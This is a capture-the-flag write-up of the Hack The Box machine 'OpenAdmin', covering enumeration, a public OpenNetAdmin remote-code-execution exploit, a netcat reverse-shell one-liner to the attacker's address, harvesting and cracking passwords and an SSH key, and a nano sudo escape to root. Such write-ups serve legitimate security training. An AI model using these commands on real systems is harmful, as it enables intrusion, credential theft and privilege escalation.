Hack the Box - OpenAdmin

OpenAdmin was one of my favorite boxes. It's actually not very difficult, but it has just enough to force you to look around a bit. I enjoyed it because I felt like nothing was really guesswork. Everything I needed was presented to me on the box and in some way that seemed at least somewhat realistic. At the very least, there were just enough breadcrumbs to point you in a direction where you didn't feel it relied partly on guesswork, and that's always a plus for me.

Nmap Scans

First, we start with Nmap, as always:

sudo nmap -T4 -p 22,80 10.10.10.171 -sSV -sC -oN scriptScan
[sudo] password for nux: 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-11 20:23 CDT 
Nmap scan report for 10.10.10.171      
Host is up (0.24s latency).         
                                                            
PORT   STATE SERVICE VERSION                              
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.67 seconds

Looks like we only have SSH and HTTP. SSH is rarely a great avenue of attack in HTB. You'll just learn that as you do more boxes. It's pretty secure overall, and when it comes to HTB, the way in is usually designed around the box: credential reuse (so you would see some hint as to the password), default password (so you might see a machine running Raspbian or another known service and use a known default there), etc. In other words, SSH is rarely where we get our initial foothold unless the box hints otherwise by providing us with some way in.

Port 80 – HTTP

We investigate HTTP. Looks like a default Apache page. We can try some common directories like robots.txt. Not much to see here:

GoBuster

We can start investigating the services we found and will see that we have a web server. Let's take a look at some of those directories. There's the Apache default page, but as always, we run GoBuster to enumerate web directories.

I'll run the following, which tells gobuster to run directory enumeration on the webserver using the common.txt wordlist and outputting to a file called commonList that I can look at later if I need to.

gobuster dir -u http://10.10.10.171 -w /usr/share/wordlists/dirb/common.txt -o commonList

Let's take a look at the output:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.171
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/07/11 20:30:35 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/artwork (Status: 301)
/index.html (Status: 200)
/music (Status: 301)
/server-status (Status: 403)
===============================================================
2020/07/11 20:32:00 Finished
===============================================================

While this tool is running, I like to poke around and see if I can find anything. Not a lot turns up on this box.

Investigating the different directories

Now that our directory scan has finished, we can investigate the results. Click around, see if there are any useful links. There's no real secret here other than manually browsing, looking at source, etc. Try to see if there's anything that look interesting.

Eventually we come to music. It looks like some page for something called SOL music.

Interestingly, if we look at the top of the browser window, we will see a bit of a giveaway:

Not live. Not for production use. Interesting. It's still in development. This is probably our hint to keep looking. Eventually, if we click around enough, we hit the "login" link and are taken to: "http://10.10.10.171/ona/." I would imagine there may be a wordlist out there with this, but it's nice to see that it's reachable with persistent searching through the webpages.

Interesting things to note here: "Newer version available" and "Your version = v18.1.1."

That gives us two vital pieces of information:

  • The current version of this console (18.1.1).
  • It tells us that this one is out of date.

The directory is called ona, so let's search for ona 18.1.1 and see what we find. Well, that's convenient. The first result in Google is an ExploitDB entry for RCE on OpenNetAdmin 18.1.1. What a coincidence! Our box is called  OpenAdmin. Ya think maybe we can? We'll see.

Searchsploit

Let's run the script and .... fail:

$ ./exploit.sh 10.10.10.171
./exploit.sh: line 8: $'\r': command not found
./exploit.sh: line 16: $'\r': command not found
./exploit.sh: line 18: $'\r': command not found
./exploit.sh: line 23: syntax error near unexpected token `done'
./exploit.sh: line 23: `done'

So much for that win. What the heck does that even mean?

I searched for one of the errors: "$'\r': command not found"

What does this mean? After some searching, we find this link: https://stackoverflow.com/questions/11616835/r-command-not-found-bashrc-bash-profile

Turns out that it's a newline character issue. Maybe it was created on a Windows machine. The solution is to run dos2unix on it:

$ dos2unix exploit.sh 
dos2unix: converting file exploit.sh to Unix format...

That wasn't so bad. Let's try again:

~/Documents/htb/boxes/openadmin/sploits$ ./exploit.sh http://10.10.10.171/ona/
$ whoami
www-data

Sweet. We have a shell.

Now, we have to upgrade our shell so we can make it somewhat useable. That's easy enough:

First, let's run which python. We get nothing. How about which python3? Good news. Python 3 is installed: /usr/bin/python3.

Attempting to upgrade the shell doesn't seem to work. It just seems to fail. Maybe first we can set up our reverse shell and then upgrade it from there.

Set up our listener and run: `mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 10.10.14.34 443 1>/tmp/backpipe`

Okay. We have our shell now.

Terminal 1 where we had our original shell:

$ ./exploit.sh http://10.10.10.171/ona/
$ whoami
www-data
$ mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 10.10.14.34 443 1>/tmp/backpipe

Terminal 2, where we had our listener:

~$ nlis443
listening on [any] 443 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.171] 59698
whoami
www-data

Time to upgrade that shell, boi!!!

Remember, this box has Python 3: /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

  • Hit ctrl+z to put your current netcat session in the background.
  • Type stty raw -echo
  • Type fg and enter to bring your process back into the foreground.
  • export TERM=xterm

Now that's a shell.

Enumeration Time!

Let's look around and see what we find on this sucker.

As we continue to work our way through, we find the following:

www-data@openadmin:/var/www/html$ l
total 36K
-rw-r--r-- 1 www-data www-data  11K Nov 21  2019 index.html
lrwxrwxrwx 1 www-data www-data   12 Nov 21  2019 ona -> /opt/ona/www
drwxrwxr-x 8 www-data www-data 4.0K Nov 22  2019 marga
drwxrwxr-x 7 www-data www-data 4.0K Nov 22  2019 artwork
drwxrwxr-x 8 www-data www-data 4.0K Nov 22  2019 sierra
drwxr-xr-x 6 www-data www-data 4.0K Nov 22  2019 .
drwxrwxr-x 8 www-data www-data 4.0K Nov 22  2019 music
drwxr-xr-x 4 root     root     4.0K Nov 22  2019 ..

Again, this is just a lot of searching and hoping to find something. I notice that ona is a symlink to /opt/ona/www.

Through searching we find the following directory:

www-data@openadmin:/var/www/html/ona/local/config$ ls
database_settings.inc.php  motd.txt.example  run_installer

With a bit of grep magic, we find a password:

www-data@openadmin:/var/www/html/ona/local/config$ cat * | egrep pass
        'db_passwd' => 'n1nj4W4rri0R!',

Let's hold on to that: n1nj4W4rri0R!

What else can we find?

www-data@openadmin:/var/www/html/ona/local/config$ cd /var/www/
www-data@openadmin:/var/www$ l
total 16K
drwxr-xr-x 14 root     root     4.0K Nov 21  2019 ..
lrwxrwxrwx  1 www-data www-data   12 Nov 21  2019 ona -> /opt/ona/www
drwxr-xr-x  6 www-data www-data 4.0K Nov 22  2019 html
drwxr-xr-x  4 root     root     4.0K Nov 22  2019 .
drwxrwx---  2 jimmy    internal 4.0K Nov 23  2019 internal

There's a file owned by jimmy and it belongs to the internal group. I don't have access. Maybe I can check that later.

Finding users

We can look up users by looking at the /home directory:

www-data@openadmin:/var/www/html/ona/local/config$ ls /home
jimmy  joanna

We can also checkout /etc/passwd:

www-data@openadmin:/var/www/html/ona/local/config$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash

We know jimmy and joanna are definitely two users. (Sidenote: I'm doing this with knowledge obtained by having solved the box in the past. I intend to create a post where I go over some enumeration steps in more detail, so it can make more sense how I came to this. It wasn't magic. It was hours of frustration and searching through files.)

Attempting to use that password

Let's see if we can ssh into the box with one of those users and that password we got. Sweet! The password works for jimmy:

~$ ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jul 12 03:34:32 UTC 2020

  System load:  0.05              Processes:             121
  Usage of /:   49.3% of 7.81GB   Users logged in:       0
  Memory usage: 18%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.


Last login: Thu Jan  2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$ 

Finding running services

We can see some services running on local host. The on running on port 52846 seems a bit unusual. We will soon investigate that:

www-data@openadmin:/var/www/html/ona/local/config$ netstat -natp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      -                   
tcp        0      2 10.10.10.171:59698      10.10.14.34:443         ESTABLISHED 2380/nc             
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 10.10.10.171:80         10.10.14.34:55252       ESTABLISHED -                   
tcp6       1      0 10.10.10.171:80         10.10.14.34:55246       CLOSE_WAIT  -                   
tcp6       0      0 10.10.10.171:80         10.10.14.34:55266       ESTABLISHED -   

Let's see what this service is.

If we hit: shift ~ c, we can set up local SSH port forwarding. This will give us the ability to see what's running on that port that only local host can access:

jimmy@openadmin:~$ 
ssh> -L 31337:127.0.0.1:52846
Forwarding port.

Now we can open our browser and navigate to 127.0.0.1:31337.

This will forward our traffic from my localhost's 31337 to localhost of the box I'm SSH'd into and direct that traffic to port 52846. Going to take a sec to drop a link for my friend's book here: CPH, which goes over SSH tunnelz and more.

It's a hidden login page:

Looks like our jimmy creds don't work. We have to find something else.

Back in our SSH session, I remembered that folder owned by jimmy: /var/www/internal.

We see three php files. Let's take a closer look:

jimmy@openadmin:/var/www/internal$ l
index.php*  logout.php*  main.php*

Parsing through these files, we eventually see that main.php has something interesting:

jimmy@openadmin:/var/www/internal$ cat main.php 
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

We also see an interesting file when we try to grep out a password:

jimmy@openadmin:/var/www/internal$ cat * | egrep pass
         .form-signin input[type="password"] {
            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $msg = 'Wrong username or password.';
            <input type = "password" class = "form-control"
               name = "password" required>
   unset($_SESSION["password"]);
<h3>Don't forget your "ninja" password</h3>

Looks like a sha512 hash. Let's take it to CrackStation and see what we get.

CrackStation made short work of that hash: Revealed is the password.

Perhaps it works on that login page we found? We try the following creds: jimmy:Revealed.

This takes us to http://127.0.0.1:31337/main.php

And we see a private key:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

The bottom of the page reads: Don't forget your "ninja" password. We will keep that in mind.

We can save that key on our local machine.

Looking back at main.php, we can see what it does:

cat main.php 
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Interesting. It reads joanna's private ssh key. This means it has access to joanna's files. Maybe it runs as joanna.

Let's see if we can use that private key to ssh into the box:

$ ssh joanna@10.10.10.171 -i private
load pubkey "private": invalid format
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'private' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "private": bad permissions
joanna@10.10.10.171's password:                              

Whoops. Let's chmod that mofo: chmod 700 private

Woo! Let's go again!

$ ssh joanna@10.10.10.171 -i private            
load pubkey "private": invalid format                                                                  
Enter passphrase for key 'private':     

Welp, I don't have a passphrase. Back to the drawing board. Maybe we can crack it.

First, we create a hash of the private key with ssh2john.py:

/usr/share/john/ssh2john.py privateKey > priv.hash
~/Documents/htb/boxes/openadmin/sshkeys$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt priv.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (private)
1g 0:00:00:03 DONE (2020-07-11 23:13) 0.2597g/s 3725Kp/s 3725Kc/s 3725KC/sa6_123..*7¡Vamos!
Session completed

Then we crack it and get a result of: bloodninjas

We have an ssh passphrase. That must be what "Don't forget your "ninja" password" meant.

Let's try again:

~/Documents/htb/boxes/openadmin/sshkeys$ ssh joanna@10.10.10.171 -i private
load pubkey "private": invalid format
Enter passphrase for key 'private': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jul 12 04:17:17 UTC 2020

  System load:  0.24              Processes:             112
  Usage of /:   49.6% of 7.81GB   Users logged in:       1
  Memory usage: 18%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jan  2 21:12:40 2020 from 10.10.14.3
joanna@openadmin:~$ 

Sweet. We are in as joanna.

Getting root

It's a good habit to run sudo -l when you first login as a user:

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

This output tells us that joanna can run /bin/nano /opt/priv with sudo rights and no password.

Let's give it a shot.

It takes us to nano:

We can attempt a shell escape. A good resource is GTFObins.

Looks like nano can be used to break into a root shell:

It can be used to break out from restricted environments by spawning an interactive system shell.

nano
^R^X
reset; sh 1>&0 2>&0

Let's attempt

^R^X
reset; sh 1>&0 2>&0

while running Nano.

And we are root: